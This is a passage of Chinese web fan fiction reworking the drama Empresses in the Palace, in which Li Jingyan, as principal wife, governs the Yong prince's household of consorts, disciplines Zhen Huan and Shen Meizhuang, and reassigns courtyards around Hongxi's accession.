这么些年,爷嘴里念叨的除了福晋还是福晋。先福晋已去,又得宫里的乌雅氏牵连扯出了不少陈年旧事,那些情谊早就不知道还剩多少了。 一个相似的格格罢了,不值一提。 苏培盛想的没错,胤禛确实没太往心里去。 人只有在一些方面过的不如意时才会怀念过去。 而现在的胤禛,没什么不如意的。 第226 章 李静言29 “府里头只有一个侧福晋年氏,爷可有什么想法?” 也不知道皇上是不是忘了这个老儿子,反正这次赐婚为了巩固弘皙的地位,他们这些不招待见的儿子,府里没进一个满军旗的格格。 胤禛无可无不可的点了点头:“你看着办就是了。” 府里头扒拉扒拉,除了福晋,便是世兰那里最得心意,没什么好纠结的。 “那便提了甘格格和徐佳格格为侧福晋,其余汉军旗不宜过重。” 胤禛想了想,甘格格是满军旗正红旗旗人,家里又是武将。其阿玛甘源有能力,他只稍微资源倾斜扶持,如今便坐到了正二品右翼总兵的位置,一个侧福晋,甘氏也当得。 至于徐佳氏,人长的貌美,如今刚上报了有孕信的消息,家中虽是上三旗,但最高不过正三品大理寺卿,于胤禛来说也算是得用。 “听你的就是,福晋既看好她们两个,爷明儿写了折子请封便好。” 倒也不是李静言好心,主要是她这几日有些迷恋分房子的活动。 雍亲王府地方大,院落却并不算多。大些的院子给格格住不合适,但小一点的又住不下,这才叫李静言起了‘过家家’的心思。 还想开口说这些什么,被胤禛连人带被一起裹着转了个身,大手顺势把李静言的脑袋按在怀里:“快睡,明儿是新人入府请安的日子,早些折腾完,爷带你出去转转。翠微阁的掌柜送信儿,刘大师又出了新首饰。” 本还在蛄蛹的人瞬间安静下来,不过片刻功夫,连呼吸都绵长了。 其实今日是休沐,但胤禛依旧被强大的生物钟唤醒。 他悄悄起身看了眼像木头桩子似的翠萍道:“不着急叫福晋起来,爷先去书房看书,记得叫你们福晋用了早膳再去受礼。” 说着,他冲着苏培盛招了招手,苏培盛捧着一个描金的盒子鸟悄的靠近。 胤禛把盒子打开放在李静言的梳妆台上,这才慢悠悠的晃出去。每次府里进人,他的私库都要出些血,这么多年,连苏培盛都习惯了。 辰时四刻,李静言才睁开眼睛。 她从月影纱的床幔里伸出一只手,翠萍便立刻叫着婢女们进门,服侍着人起身。 折腾了小半个时辰,李静言才用了早膳走出这道门。 “妹妹们都到了,昨儿歇的可好?” 恰好赶上十五,院子里的人可齐全的很。 “有福晋日日惦记着,咱们怎么会不好呢。” 甘格格已经知道了自己是板上钉钉的侧福晋,对李静言的崇拜和敬仰逢人都要说上半天儿。 “可不是,往日里淑和是最不爱早起的,但一说是给福晋请安,勤快着呢!” 淑和被额娘说的羞红了小脸,不过还是福了福圆滚滚的小身子,可可爱爱的。 “咱们淑和这么乖巧,定是你这个额娘惫懒了。” 李静言说着招了招手,淑和笑呵呵的扑到李静言怀里。 沈眉庄三人在最后头站着,看着眼前温馨的场景,忐忑不安的内心微微踏实了些。 “好了,叫新来的妹妹见了礼,咱们再说话。” 新入府的格格需得给福晋请安,这男主子才会往她们院子里去,这些都是小佟嬷嬷日日念叨的府规,至于当时的宜修为什么没有见李静言,那可能是她没规矩吧。 格格入府只能带两身自己的衣裳,府里头会提前制了新衣。一般来说,一批次的格格都是统一的颜色和花样,李静言故意指了粉色的料子。 第一次给主母拜礼,就连李静言册封福晋后第一次请安,年世兰都知道以正院的吩咐为主。 而底下的三人,有一个特立独群的,穿着月白色的旗装,整个人显得楚楚可怜。 “这位格格倒是素雅,是哪家的?” 沈眉庄低着头,眼神里带了些担忧的看向身旁的甄嬛。 “妾身是大理寺少卿甄远道之女,甄嬛。” 安静的屋里突然听到一声冷‘嗤’,年世兰翻了个白眼,瞧着自己手腕上的镯子满脸的不耐烦。 “嗯,可是不喜欢本福晋给你们挑的衣裳?若是有不合心意的直说就是,从今儿起都是一个府里的姐妹。” 李静言摸了摸淑和的发髻,脸上虽然是笑着的,但却无端叫人有些紧张。 甄嬛确实是故意不穿那身粉衣的,她皮肤并不是特别白皙,粉色艳俗又不衬肤色。 况且,甄嬛并不想太过出挑,才选了这素净的月白色。 但是她却忘了,她入的不是宫门,而是王府。 有时候合群,才是不显眼的方式。 “回福晋的话,妾身只是不爱打扮,也没有配套的首饰来衬福晋给的衣裳,这才没有穿。” “瞧了,福晋,这是跟您讨赏呢。” 年世兰本来觉得自己的脾气已经磨平了,没想到是她自己多虑了。 “妾身......” 甄嬛刚想解释,就被李静言抬起的手打断。 “好了,都是自家姐妹,正巧本福晋新得了些料子制了首饰,大家都有。” 年世兰看着托盘上那粉的娇嫩的簪子艰难的扯了扯嘴角。 也不知道她家这福晋是什么爱好,每每赏人的东西不是粉的就是粉紫粉白粉橘的,有时候这偌大的雍亲王府,只有这一个颜色,真叫她费解。 一旁的冯格格看着有些茫然的三个新妹妹好心的解释了一句:“咱们福晋好相处,就是格外喜爱粉色,你们长穿长用着就是了。” “多谢姐姐。” 安陵容是最先接受的,入了雍亲王府的大门,是她这几年来最舒服的日子。 下人恭敬,吃喝不愁,主母也是好相处的,如果,如果能得一儿半女,那往后的日子,便全是盼头了。不过就是着粉衣而已,福晋若是喜欢,她可以换着花样的穿着! “好了,雍亲王府的规矩大也不大。甭管你们是大家出身还是小门小户,入了府便是雍亲王府的妾室。国有国法家有家规,只要严格按照府里的规矩,本福晋和侧福晋也不会无缘无故找你们麻烦。 只一点,那些下作的手段都给本福晋收起来,好好儿的过自己的日子。” 三人应的老实,李静言也只是说完就把人打发了下去。 回到自己小院里,本等着王爷的身影,却接到王爷带着福晋出门的消息。 沈眉庄第一时间站起身,想要去隔壁的夕颜院坐坐。 “沈格格,未侍寝不能随意走动。” 分到沈眉庄的存菊堂的花青是个规矩极好的,沈眉庄被这句话堵的有些难堪,不过片刻又恢复了脸色。 “是我疏忽了。” 说着,她拿起一个荷包递给花青。 “你规矩好,以后若是我有疏忽的地方,定要提醒。” 花青收了荷包:“这是自然,奴婢受福晋的命令来此,只要沈格格您安安分分的,是生儿还是育女都有福晋关照。” 沈眉庄:啊?这么坦诚吗? 不过,这样她用着也放心。 “福晋坦荡,妾身受教了。” 朝着正院施了一礼,沈眉庄老老实实的坐到院里的小石墩上。 “那我可以看书吗?” 格格实在不能带什么东西,沈眉庄空有爱好却没得发挥。 花青蹲了蹲:“自是可以,格格想看什么,告诉奴婢就是了。” 沈眉庄报了两本书名,下午,书便出现在小几上。 有了打发时间的工具,这等待的日子倒是也不难熬了。 同样的,清音阁的安陵容也得了两捆丝线和一些布料。每日绣绣花,哼着歌,瑟缩的气质都消散了去。 甄嬛自然也是同样的待遇,只是她要了本史记读着,还想给贴身伺候的玉婷改个名字。 “奴婢乃是正白旗包衣,格格无权给奴婢改名字。” “是我疏忽了,玉婷二字极好。” 甄嬛如今不想什么韬光养晦以待来日,她只想得宠,然后换一个能改名字的奴婢。 第227 章 李静言30 等了七八日,胤禛才想起了新入府的格格,头一个,便去了沈眉庄处。 按照家世,第二个便是甄嬛。 知道甄嬛这张脸肖似柔则后,胤禛倒是有些兴趣。 只不过,在看到甄嬛后,兴趣变成了无趣。 艳粉色的衣裳把甄嬛眉眼间的灵气压去了大半,硬生生把一个清丽的美人衬成了村妇。 倒是那眉眼,确实有几分像柔则。 胤禛有一瞬间想要把甄嬛的粉衣扒下来换成清雅些的素色。但想着李静言那不依不饶的样子,还是打消了这个念头。 这些年府中的妾室确实多用粉色,除了耿格格和吕格格不太合适,其余人都别有一番韵味。 用李静言无理取闹的话来讲,那就是“美人,淡妆浓抹总相宜,只有什么颜色都穿的好看的人才叫美人。” 被李静言的歪理洗脑,如今这么看来,甄氏并不算美人。 胤禛六分的兴趣变成两分,好在多年的教养叫他不至于跟女人摆脸子。 侍寝就是那么回事,只是他今日下了值被二哥拉去靶场射了会箭,敷衍了事就想睡觉。 然而甄格格却是不困,这事跟她想象中的天差地别,虽然有些失望,但她看着胤禛的睡颜,面上带了些女儿家的调皮,用指尖轻轻点了点他的眉头。 胤禛有个臭毛病,但凡是有实物离眉头近些,就感觉浑身不自在。 甄嬛的举动成功祸弄醒了胤禛。 “你干什么呢?!” 任谁累了一天睡着了被弄醒都不会痛快。 “王爷恕罪,只是妾身初为人妇,今夜也算是妾身的洞房花烛,难免有些雀跃和忐忑。” 在床上的男人难免会说些鬼话来忽悠女人沉沦,胤禛也不例外。 并且对着这样一张脸,他的语气和态度就更显得真诚深情。 甄嬛即使再聪慧,也是不通人事的少女,被那片刻的温柔和绵绵情意打动,心里难免有更进一步的想法。 自觉不同,便想要再试探一下对方心里的底线。 “什么洞房花烛?不过是个格格,竟胆敢觊觎福晋一位了吗?” 胤禛觉得这个人莫名其妙的,大晚上不睡觉就罢了,还要连累他也跟着听胡话。 “妾身并非这个意思,只是对于妾身而言,今晚确实是不同的,所以才难免失了分寸,请王爷恕罪。” 甄嬛起身跪在床上,寝衣下纤弱的身子有些颤抖。 胤禛闭着眼摆了摆手:“去下头跪着。” 若不是实在懒得动弹,还是回前院睡的更好些。 甄嬛跪在脚踏上,屈辱和茫然冲刷着她的内心。 只是还未等她伤心完,就看到了一旁守夜的玉婷。 ‘完了’。 甄嬛心想。 这跟直接在福晋耳边说这些话有什么区别? 刚得罪了雍亲王府的男主子,又得罪了女主子,今后的日子,还能好过吗? 如她所料,第二日去敬茶,李静言任由她跪着半晌没有动静。 手里摆弄着一柄小巧精致的玉如意脸上没什么笑意的说道:“看来,进入这雍亲王府做妾室,倒是委屈你了。” 甄嬛举着茶,嘴里着急辩解:“是妾身失言,福晋恕罪。只是妾身闺中常读‘心乎爱矣,遐不谓矣。’对书中所描绘的情感有些好奇罢了。并非有意冒犯福晋。” “本福晋记得,你是甄家的嫡长女。” 这套说辞并不能打动李静言,甚至还叫她觉得有些不知所谓。 甄嬛不明所以,轻轻的应了一声“是”。 “即便是普通人家教女儿,学的也是管账生存。更遑论官家贵女,哪家的嫡女学的是风花雪月?嗯?” 脸上的热气蔓延到了双耳与脖颈,甄嬛的胳膊也微微颤抖起来。 “妾身,妾身只是贪玩,私下里读了些诗词,并未沉迷于风花雪月。” 李静言眼神里带着审视和轻视,上下扫量了她两眼:“牙尖嘴利,果然好教养。只是甄格格似乎忘记了,这里是雍亲王府,而你,只是一个只能按照规矩行事的格格。” 说完,甄嬛便被带了下去,禁足在小院里日日诵读府规,从格格的身份沦为侍妾,成为了雍亲王府最底层的存在。 “倒是难得见福晋这么生气。” 带着孩子来给李静言送荷包的宋格格把怀里的景行推到李静言身边,企图用萌物驱赶走李静言的怒气。 景行抱着李静言的腿晃了晃,大大的眼睛一眨一眨的看着李静言,软乎乎的喊着:“嫡额娘~ ”。 李静言没好气的瞥了一眼宋格格:“瞧把你机灵的。” 她捏了捏景行软乎乎的小脸,其实本来也不是很生气。但是就是看着甄嬛梗着脖子较劲的表情很不痛快。 明明认个错就是你好我好大家好的事,非要狡辩,真讨厌这样的人。 “这甄氏一点教养也没有,也不知道甄家怎么教的孩子。” 她随口一抱怨,宋格格记在了心里。 这些年得福晋照料,两个女儿健健康康的,就算爷不宠爱她又如何,福晋从来不会短了她们这些女人的缺儿。 宋格格一直发愁没有机会报答福晋,只能尽力缝些荷包等小物送来。 这不,机会就被甄氏送了过来。 她父亲宋之舟是个会钻研的,这些年瞧着她这个女儿在雍亲王府得了两个女儿后,也在武昌府使了使力。甭管她是不是得宠,只要挂着这个名头,宋之舟就成功混到了知府的位置。 家里得了好,也没忘了她这个女儿,送进来的补贴也多了些。 再加上府里的规矩极好,倒也不存在十两银子当一两银子花的情况,宋格格这些年攒下来了不少体己。 她回到青梧院,跟同住的姐妹商量了一下,借着甘侧福晋和钱格格的人手,她出了些银子,不过是几日间,就把甄氏女没有教养一言散了出去。 本只是个妾室,只是不知道为何流言越传越烈,就连宫里头的小佟贵妃都惊动了。 到底是自己挑的秀女,这般可不是打了她的脸。 小佟贵妃虽不好直接插手甄家的事,但借着由头给胤禛送了不少补贴,倒也算是意外收获了。 人在府中坐,钱从宫中来。 被胤禛搂着亲了一口的李静言一脸迷茫,好在很快就被送到眼前的宝贝勾走了心神。 甘氏三人做的并不是特别隐蔽,至少在上位者眼里可以算是十分的好查。 但她们一不涉及皇家,二没有把甄嬛做的事说的话宣传出去,所以并没有被迁怒。 只是大家在心里也会感慨,这位雍亲王福晋不光好运,还十分的得人心。 第228 章 李静言31 饶是沈眉庄惦记着这位儿时的玩伴,也束于身份无能为力。 偏她并不能认清自己的身份,仗着胤禛虚假的温情企图为甄嬛说情。 胤禛的嘴角虽然噙着笑,但眼神里透露出的厌烦叫沈眉庄的声音越来越低。 “王爷,妾身......” 沈眉庄收声跪在胤禛脚边,捏着帕子的手指尖微微泛白。 “看来沈家的规矩不好,才教出你这样的女儿。” 轻飘飘的一句话,把沈家祖辈世代的努力都抹了干净。 沈眉庄的腰肢塌了下来,不可置信的看着胤禛。 “王爷!” 胤禛甩了甩手里的串子,并不想花心思教导妾室。 他起身离开,一个眼神都没分给地下的沈眉庄。 “先禁足一月,既然不懂规矩,就叫福晋派个嬷嬷过来教着。” 人都出现在正院里了,胤禛又想着李静言是个心肠软的,便叫苏培盛亲自去内务府挑了两个严苛的嬷嬷过府,送到了甄嬛和沈眉庄处。 宫里的嬷嬷,有的是手段。 “这一批的秀女都是这般拎不清吗?” 李静言趴在九福晋耳边小声的抱怨,皇上最近身子不好,她们也只是偶尔聚在一起喝喝茶,说说枕边人的坏话罢了。 谁让现在没有夺嫡的风险呢?弘皙登基是板上钉钉的事了,争来争去不如想一想今后跟侄子要什么好处。 “可说是呢,我们府里进来个姓夏的,包衣佐领家的格格,那叫一个闹腾,烦死了。” 李静言挑眉,原来夏冬春到了胤禟府里啊。 “人闹腾不怕,就怕那自命清高眼高手低的,才膈应人呢!” 听了李静言的描述,九福晋觉得夏格格也没那么难以忍受了。虽然她吵闹又听不懂好赖话,但好歹也算知情识趣。 对她从来都是恭敬又谄媚的,也只敢和旁的格格侍妾斗斗嘴罢了。 “四嫂说的也是。” 九福晋同情的看了一眼李静言:“那这么说,这两位格格都不是什么省油的灯,四嫂可要小心些身子,别被气坏了。” 李静言努了努嘴:“两个汉军旗的,比府里的满军旗还要高傲,真是没处说理。” 董鄂氏赞同的点了点头,她们是不在乎府里的有多少妾室的,只要安安分分的,有劲儿往爷们身上使去就行。 偏就怕这种自以为是之人,管教吧,她不服,不搭理吧,偏又碍眼。一般像这种情况,福晋们都是选择在其生产时动点手脚,留个孩子也算是不枉入王府一遭了。 九福晋想了想,还是没有说。她这四嫂是个心思浅显的,手段虽有却并不擅长背地里的诡谲。 这事又算不得什么大事,跟她家爷就没必要说了。胤禟那个小心眼子,又和四哥关系一般,怕恨不得抓着话柄一天追着雍亲王笑上八百回。 九福晋想了想,倒是和十三福晋兆佳氏提了一嘴。 兆佳氏知道九福晋的意思,转达给了自家爷。 这一圈绕下来,甄嬛和沈眉庄的大名很快传遍了京城权贵的后院。 这点倒是没人嘲笑胤禛,宫里头给分的秀女,是好是坏全凭运气。不过这么看来,不沾着四福晋的光的雍亲王,运气是差点。 千万不能小看任何一个枕头风的力量,说的多了,沈家远在济州受到的波及虽也有,但并不如甄家大。 甄氏本就起家从甄远道开始,云氏又是商户,不缺钱财但没什么势力。 本打算培养一个甄嬛入了宫门,能提拔家里。 没想到阴差阳错进了雍亲王府。 若说王府也是个好去处,只要甄嬛得宠有个一儿半女,甄家自然跟着水涨船高。 偏甄远道从小对甄嬛的教育太过,清高利己又自负,没有正室的门楣也没有妾室的眼色。 本就在同僚中端着一副文人风骨不肯同流合污的架子没什么好人缘。 这下甄嬛的名声传出来,各家福晋夫人耳提面命离甄家远些。 有看不惯甄远道的,便暗戳戳的落井下石,企图取代大理寺少卿的位置。 没错,这个人说的就是瓜尔佳额敏。 额敏的女儿瓜尔佳文鸳年纪刚好在选秀的最小的那块卡着,但她实在漂亮,被康熙指给了弘皙做格格。 背靠皇太孙,虽然出格的事不敢做,拉下一个名声不好的甄远道还是容易的。 有同僚们的帮助,瓜尔佳额敏轻松取代甄远道,成为新任大理寺少卿。 而底下的人就没有上位的想法了吗? 那自然是不可能的。 甄远道只能被一降再降,从正四品沦为正七品大理寺评事。 这还是正八品的大理寺司务人缘也一般,才叫他没有直接到底。 “福晋,这是甄家送来的信。” 府里的格格们每个月都可以和家里通次信,不过内容一般都会被拆开看一眼。 李静言瞅了瞅,是甄云氏写了写家里的近况。 虽然没有明着责备,但意思到了。 “嗯,给甄氏送过去吧。” 请封侧福晋的旨意也下来了,李静言叫来了甘氏和徐佳氏来商讨院子的事。 “青梧院不大,更何况住着宋格格母女三人和钱格格母子三人,你如今也是侧福晋了,便挪去同宜院住着吧。” 房子一定是要住,才不会需要花大价钱维护。 所以李静言并不吝啬给每个妾室一个小院,无论大小,人在里面 ,就有人气。 同宜院虽是前福晋乌拉那拉宜修的院子,但位置和装潢都是极好的。 甘氏想了想,确实有些挤吧。 “三个格格也大了,进学读书确实需要空间,福晋安排就是。” 从前三人抱团取暖,一起养娃是为了安全也是为了做伴。 现在孩子大了,总不好叫孩子拘着。 再说了,如今这个福晋可不是先头那两个讨厌鬼,就算搬出去了,她日日溜达着就是。 “你也是,东边的芳华院是本福晋曾经的院子,如今还空着,已经着人打扫了,后日是个好日子,你便搬过去。” 李静言正式册封为福晋后,胤禛就把封着的正院彻底整理了一番,迎了新主子李静言入住。 曾经柔则偏好的黄花梨的大床和各色装饰一并撤了下去,都按照李静言的喜好重新布置。 芳华院便空了下来。李静言也没有一个院子都要霸占的爱好,况且芳华院确实拾掇的漂亮,若是空着,才是浪费。 徐佳娉婷漂亮的像个精致的布偶猫,得宠后虽然会仗势欺人,但挨了两巴掌就老实了,会撒娇会哼唧,李静言还是挺喜欢的。 “多谢福晋。” 她月份大了,找了太医也看过,搬家无碍。 李静言看了看手里的纸,把西边的绮霞苑给了宋格格,青梧院单独给钱格格一人住着。 “叫安格格搬到瑞云轩去,少跟隔壁那两个碰面。” 安陵容的清音阁和甄嬛的夕颜院,沈眉庄的存菊堂都很近,这段时间小安的表现十分的争气。又是衣裳又是荷包还有上好的香料往李静言这里送,这么好的孩子,可不能被甄嬛沈眉庄嚯嚯了。 康熙的大选,规矩极重,不存在相互聊天,喝茶乱走,施恩摘花的陋习,所以安陵容跟甄嬛两人并不相熟。 李静言满意的点了点头,她就喜欢折腾,尤其是折腾别人搬家,感觉可有意思。 第229 章 李静言32 康熙六十一年,皇上驾崩。 弘皙按诏登基。 其阿玛理亲王被奉为太上皇,理亲王妃为太上皇后。 嫡亲的弟弟弘晟袭承理亲王爵位世袭罔替。 除却自己的几个兄弟,弘皙对雍亲王府的弘时也格外照顾。 立其为世子,给他行走御前的特权,享亲王俸禄,弘时只需要吃饱喝好,这一辈子完全不会有任何烦恼。 新帝登基,胤禛这十几个兄弟难得忙碌起来。 弘皙得康熙亲自教导,又有太上皇胤礽在旁协助,他们这些叔伯即使想偷懒也很难办到。 不过还好,叔伯也有叔伯的特权,假期比亲爹在位的时候多的多,也算是福利了。 “爷这几日去江南办差,年侧福晋和安格格跟着伺候就是了。” 年世兰不等李静言话音落下,立刻起身行礼。 她看了一眼后头的安陵容,兴奋的眼神里不带一丝杂质。 能不能单独和王爷出去不要紧,要紧的是‘出去’。 这些年虽然福晋也会带着她们妾室去庄子小住,但心一直很野的年世兰不放过任何一个可以出门的机会。 安陵容身子弱些,所以在身孕这方面有些艰难。虽然府里头条件好不苛待人,但温养是个长时间的水磨功夫。 李静言每个月都会给妾室看看身子,对安陵容也有些了解。 不过是生的晚而已,又不是不能生。李静言的宽慰叫安陵容格外的感激,把伺候王爷的劲头都用到了李静言身上。 这次机会也是府医说安陵容的身子调养的差不多了,为了避免安陵容时时刻刻腻歪在正院,李静言直接把她打发出去,就两个人,年世兰又是个爱玩的,她总能揣个娃回来吧! 至于胤禛说要带她一起出门,李静言婉拒了。 她已经计划好了跟妯娌姐妹们骑马射箭打马球等活动,没空陪他坐马车颠簸去。 “好了,都回去吧。” 今儿的任务还差铺面的账本,李静言打算干完了活儿去泡个汤松快松快。 “福晋,妾身有事相求。” 李静言顺着声音看过去,原来是甄嬛。 “你且说来听听。” 宫里的嬷嬷就是厉害,一个月的时间还给雍亲王两个规规矩矩的妾室。 至于是不是真的服气不重要,重要的是上位者高兴就好。 甄嬛这几年就没穿过别的颜色的衣裳,除了粉色就是粉色。 李静言可是记着原剧里,胤禛这个老毕登对着原主喷了臭气后,被甄嬛一首湘妃怨又勾了去。 李静言就要让他俩看粉色看到吐。 从屋子里的装饰到甄嬛身上的衣裳首饰,没有第二个颜色。 胤禛虽然小小的反抗过,但都败在李静言泪眼朦胧的盯盯下。 她不说话,只是一味的用大眼睛盯着胤禛。 胤禛只好妥协。 为了防止眼睛变色,胤禛选择尽量不去夕颜院。 “妾身想跟着王爷去江南侍奉。” 府里的日子并不难过,但难过的是甄嬛本就有与众不同的雄心壮志。 这次是个机会,甄嬛不想错过。 本以为不过是多个侍妾的小事,福晋自己不去应该也不会为难。 “你去做什么?是吹笛子还是跳惊鸿舞?是弹琴还是念诗?府里的姐妹们争宠本福晋也懒得管,但是甄氏你的手段太频繁了。 这次爷去江南,本福晋就是打着叫年侧福晋和安格格得个孩子的想法,你少去捣乱。” 李静言从不掩饰自己的任何目的,所以说话也格外的直白。 年世兰和安陵容的脸一下子就红了起来。 甘侧福晋看着跃跃欲试的齐格格有些嫌弃的翻了个白眼。 “齐格格这是又看到希望了?这次打算走什么路子啊!” 都是从王爷年少轻狂时过来的,打量着谁不知道她的心思似的。 齐格格柔柔一笑:“甘侧福晋说笑了。” 瞧着福晋好奇的表情,甘侧福晋来了劲。 “妾身进府早些,是见过头里的两位先福晋的。 这尤其是柔则福晋,齐格格是巴巴的贴上去。柔则福晋弹琴,齐格格在一旁焚香。柔则福晋吟诗,齐格格在旁边研墨。 比咱们这贴身的侍女还要勤谨。却没想到啊,这柔则福晋即使身子不爽利,也没叫咱们齐格格沾了丁点好处。 要说这齐格格为何这段时间频频露脸呢,从前宋格格她们可是知道的,这齐格格无利不起早,是看不上咱们的。不过,单看咱们甄侍妾就知道答案了。” 李静言给大家上了点心茶水,一屋子的人听的津津有味。 “为何呢,你快说啊!” 年世兰嘴里嚼着蟹粉酥,身子都探出去了。 甘侧福晋神秘一笑:“瞧着甄侍妾那张脸了吗?五分与柔则福晋相像呢!” 这话叫大家都吃了一惊。 甄嬛不可置信的瞪大了眼睛看向齐格格。 自她入府,波折不断。唯有这位齐格格温和宽厚,愿与她和眉姐姐二人同心。 没成想,竟是因为这张脸吗?! 甘侧福晋颇有些扬眉吐气的看着齐格格。 从前她的好姐妹苗侧福晋就因为顶撞了乌拉那拉柔则被罚跪在烈日下两个时辰。 失了孩子不说身子也落下了病根。 偏王爷是个眼瞎心盲的,对苗侧福晋的孩子丝毫不在乎。 她没本事给苗侧福晋报仇,不过齐格格这个巴结着柔则,一句公道话都不肯为她们说的拐子,总会有报应! 齐格格面色有些发白,她强撑着笑意解释:“甘侧福晋误会了,我与甄侍妾交好并非因着外貌。我二人都是喜诗书的,自然更为亲近。” 甘侧福晋并不信,她翻了个白眼喝了口水:“这话真耳熟,你当时和先福晋交好也是用的这般理由吧?把趋炎附势说的还挺高尚,虚伪!” 当时的四贝勒胤禛为了柔则闹出了不少笑话,先帝怕这个儿子魔怔了,在柔则入府前赐了两个妾室进门。就是甘氏和苗氏。 两人都是武将家的孩子,又自小相识,能嫁入一家自然是开心。 没想到这府里没有正常人,害她好友失了一条命。她也差点因为提不起心劲儿跟着去了。 李静言听的很开心,不过该干的活儿还是要干的。 “好了,甘妹妹心直口快,没有坏心。不过涉及先福晋,还是少说为好。今日本福晋罚你一月份例,你可知错了?” 李静言先是“斥责”了甘侧福晋,并做出了“严重”的惩罚。 甘侧福晋知道福晋这是维护她,赶忙打蛇上棍的行礼认错:“妾身知错,多谢福晋责罚。” 李静言满意的点了点头,看向齐格格和甄嬛。 “你们二人的事本福晋也不想插手,只一点,若是闹出了笑话闹出了难堪,就别怪本福晋不留情面了。” 齐格格和甄嬛行礼道:“是,谨遵福晋教诲。” 叫了散,即使住在夕颜院对头的年世兰也打着散步的幌子跟着齐格格和甄嬛看热闹。 这位齐格格自她入府也有过示好,还好她当时一门心思的想要跟福晋别别手腕子没顾的上。 这样一个心思深沉的人,说不准什么时候咬她一口,那可真是太可怕了! 第230 章 李静言33 结束了和十三福晋兆佳氏的茶会,李静言扶着翠萍的手从雍亲王府制马车下来,踏着夕阳的余晖慢悠悠的往自己的院子里晃荡。 “福晋,世子在屋里等着呢。” 眼瞧着自家主子的脚尖快要指向小花园的方向,后头跟着的小路子赶忙出声纠正路线。 李静言点了点头,面上丝毫看不出自己把大儿子忘干净分毫的窘迫。 堂屋里摆着四五个半人高的箱子,弘时坐在其中,人倒不显得那般高大了。 “额娘!” 弘时像个欢快的小狗,看到李静言的瞬间眼睛都亮了起来。 李静言伸出手,弘时便自觉的弯腰低头,把脑袋送到李静言手边。 “咱们弘时这么乖呢,这拿了什么摆了一地。” 弘时扶着李静言的胳膊绕开箱子。 “这些都是弘皙哥,皇上给儿子把玩的,儿子挑了些额娘喜欢的,额娘快看看。” 当今皇上是个记恩有人情味儿的,每每得了好物,都会给弘时分上一些。 弘时打开箱子,露出两个有人小腿高的珐琅彩琉璃花瓶,器型端庄,绘有精美珐琅缠枝玫瑰图案,瓶口鎏金,精美又金贵。 “这花瓶可真好看。” 李静言知道如今的琉璃珍贵,再加上这复杂的工艺和颜色,更是一物难求。 弘时笑的有些得意:“儿子就知道额娘喜欢!” 旁边的箱子里还装了较为少见的西洋布料,有哆罗呢,猩猩毡,羽缎,羽纱,哔叽缎等,都是西洋较为流行且珍贵的呢绒布料。 弘时挑了自家额娘喜欢的颜色,装了三个箱子。 其中专门有一个箱子不分材质,单是粉色。 他是知道额娘赏人都喜欢用粉色,虽然不知道为什么,但只要额娘开心就好。 “还有这个,额娘快看。” 弘时捧着一个匣子,眼睛里都是期待的小碎光。 那是一条珍珠璎珞项圈,颗颗饱满的南珠配上鲜红的鸽子血,华丽典雅又不显厚重。 李静言拿起来就叫翠萍给试戴了一下。 弘时凑到水银镜前正在臭美的额娘身边,笑的眼睛都要看不见了:“是不是很漂亮!这是儿子画的样式呢!弘皙哥,皇上给了儿子一个首饰铺子,这是第一件首饰。” 弘时读书虽然差些,但是审美和设计能力完美的继承了他爹的天赋。 “弘时也太厉害了吧!额娘好喜欢,若是能配成套就好了,过几日额娘好带着参加三福晋的秋日宴去。” “嘿嘿,儿子自然是给额娘准备了!” 弘时背在身后的手拿出来,配套的耳饰和簪钗都在其中。 看着自家额娘喜笑颜开的样子,弘时又抱了两个小箱子。 “知道额娘喜欢听珠玉的声儿,这不,儿子找来了不少品相上佳的豆子,额娘把玩。” 李静言专门有个粉色琉璃的聚宝盆,里头搁的都是各种材质的珠子。 金的玉的翡翠的,宝石的钻石的珍珠的,都是日常供李静言拨弄着听声响解闷用的。 “给你福晋留了吗?” 弘时福晋今儿带着孩子回府参加其小外甥的满月宴了,弘时去露了个面就回来了。 不过没人敢说这位世子对世子妃不够重视,但凡有一点对世子不利的流言,都会被皇上找出源头抄个家。 而且弘时就是这样一个性子,不太爱参加那些人多的宴会,他又有皇上护着,旁人哪敢说什么。 “留着呢,额娘放心。” 摆弄够了首饰,李静言拿出一张地契:“这是京郊的温泉庄子,给你。带着你福晋和永瑞去玩一玩。” 母子俩都是不缺钱的,不过论起享受生活,弘时这个菜鸟还是差点。 “额娘不一起去吗?” 府里头也没什么事,有孕的几个姨娘有翠萍在也安稳的很,还不如出去放松一下。 但李静言还是摇了摇头:“这几日总是出去,有些累了,额娘要休息。” 这话说的不夸张,自胤禛去江南办差后,李静言基本白天就没闲下来。 不是应了妯娌们的帖子出门游玩,就是在府里办个小宴,请人过府听戏赏花,过的充实极了。 晚上躺在床上,胤禛特意找来的医女给李静言做全身的按摩放松。 “福晋,徐佳侧福晋这几日怕是要发动了。” 翠萍已经是个优秀的员工了,每晚的工作总结简洁又条理分明。 “嗯,该安排的都安排下去了,给徐府医包个红封,叫他这几日警醒着点。” 翠萍记下后又道:“曹格格和沈格格的身孕相差无几,两人孕相也算是安稳。但是沈格格日日都要往夕颜院坐坐,也不叫下人守着。” “禁足。” 真正的上位者是不在乎底下的人想要干什么的,对于李静言而言,沈眉庄的作用就是在她不方便的时候给胤禛解闷,生几个孩子绵延子嗣,其余的,都不重要。 歇了两天,李静言收到了太上皇后的邀请,带着自己的大包小裹去畅春园小住了几日。 先帝走时,把这园子给了最爱的儿子胤礽,而胤礽又不得不在宫里协助自己的儿子处理政务。瓜尔佳氏带着小儿子在里头过的自在自由,隔三差五的叫李静言去小聚。 廊下摆着体量较大的酸枝美人榻,上头铺了华丽精美宁夏毯,李静言和太上皇后斜倚着蜀锦制成的迎枕,水中央的戏台上咿咿呀呀的唱着【牡丹亭】。 “如今这日子,可是从前想都不敢想的。” 太上皇后看着李静言数十年如一日的面容,不知怎么心里头感慨有些深。 李静言的手一下下轻抚着怀里狮子猫的毛发,闻言随意的开口道:“这日子啊最不能想,过好一天儿是一天儿。今儿您觉得听个戏就痛快了,明儿说不得皇上把戏园子给您搬来,您又觉得吵闹。” 太上皇后不知从哪冒出来的伤感被李静言摔了个稀碎:“你这张嘴啊,罢了罢了,前尘往事都随风,是本宫着相了。” 李静言心里默默念叨了两个字‘矫情’。 虽然没有说出口,但她的眼神向来是藏不住事的。 太上皇后斜睨了她一眼:“瞧你这全身上下,都是本宫置办的,竟然还在心里偷偷骂本宫。” “没有啊,臣妾实在冤枉啊~太上皇后如此说,臣妾真是,百口莫辩呢!” 这插科打诨的路子倒是熟练的很,太上皇后本也没有生气,看她那怪模怪样的表情,被惹得笑声不断。 